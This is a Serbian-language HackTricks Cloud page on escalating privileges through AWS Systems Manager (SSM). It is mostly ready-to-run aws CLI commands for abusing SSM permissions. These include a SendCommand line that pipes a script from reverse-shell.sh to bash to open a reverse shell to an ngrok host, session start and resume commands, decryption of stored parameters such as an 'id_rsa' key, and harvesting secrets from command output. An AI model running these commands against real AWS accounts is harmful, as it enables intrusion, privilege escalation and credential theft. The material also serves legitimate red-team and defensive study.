AWS - SSM Privesc
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
SSM
Za više informacija o SSM proverite:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
Napadač sa dozvolom ssm:SendCommand
može izvršavati komande u instancama koje pokreću Amazon SSM Agent i kompromitovati IAM ulogu koja se izvršava unutar nje.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
U slučaju da koristite ovu tehniku za eskalaciju privilegija unutar već kompromitovane EC2 instance, možete jednostavno uhvatiti rev shell lokalno sa:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Potencijalni uticaj: Direktno privesc na EC2 IAM uloge povezane sa aktivnim instancama sa SSM agentima.
ssm:StartSession
Napadač sa dozvolom ssm:StartSession
može pokrenuti SSH sličnu sesiju u instancama koje pokreću Amazon SSM Agent i kompromitovati IAM ulogu koja se izvršava unutar nje.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
caution
Da biste započeli sesiju, potrebno je da imate instaliran SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Potencijalni uticaj: Direktno privesc na EC2 IAM uloge povezane sa aktivnim instancama sa SSM agentima.
Privesc na ECS
Kada ECS zadaci rade sa ExecuteCommand
omogućeno, korisnici sa dovoljno dozvola mogu koristiti ecs execute-command
da izvrše komandu unutar kontejnera.
Prema dokumentaciji, to se postiže kreiranjem sigurnog kanala između uređaja koji koristite za iniciranje komande “exec” i ciljnog kontejnera sa SSM Session Manager-om. (SSM Session Manager Plugin je neophodan za ovo)
Stoga, korisnici sa ssm:StartSession
moći će da dobiju shell unutar ECS zadataka sa tom opcijom omogućenom jednostavno pokretanjem:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
Potencijalni uticaj: Direktno privesc na ECS
IAM uloge povezane sa aktivnim zadacima sa omogućenom ExecuteCommand
.
ssm:ResumeSession
Napadač sa dozvolom ssm:ResumeSession
može ponovo pokrenuti SSH sličnu sesiju u instancama koje pokreću Amazon SSM Agent sa isključenim stanjem SSM sesije i kompromitovati IAM ulogu koja se izvršava unutar nje.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Potencijalni uticaj: Direktno privesc do EC2 IAM uloga povezanih sa aktivnim instancama sa SSM agentima i prekinutim sesijama.
ssm:DescribeParameters
, (ssm:GetParameter
| ssm:GetParameters
)
Napadač sa pomenutim dozvolama će moći da nabroji SSM parametre i pročita ih u čistom tekstu. U ovim parametrima često možete pronaći osetljive informacije kao što su SSH ključevi ili API ključevi.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Potencijalni uticaj: Pronaći osetljive informacije unutar parametara.
ssm:ListCommands
Napadač sa ovom dozvolom može da prikaže sve komande koje su poslate i nada se da će pronaći osetljive informacije u njima.
aws ssm list-commands
Potencijalni uticaj: Pronaći osetljive informacije unutar komandnih linija.
ssm:GetCommandInvocation
, (ssm:ListCommandInvocations
| ssm:ListCommands
)
Napadač sa ovim dozvolama može da prikaže sve komande poslate i pročita izlaz generisan, nadajući se da će pronaći osetljive informacije u njemu.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Potencijalni uticaj: Pronaći osetljive informacije unutar izlaza komandnih linija.
Codebuild
Takođe možete koristiti SSM da uđete u projekat codebuild koji se gradi:
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.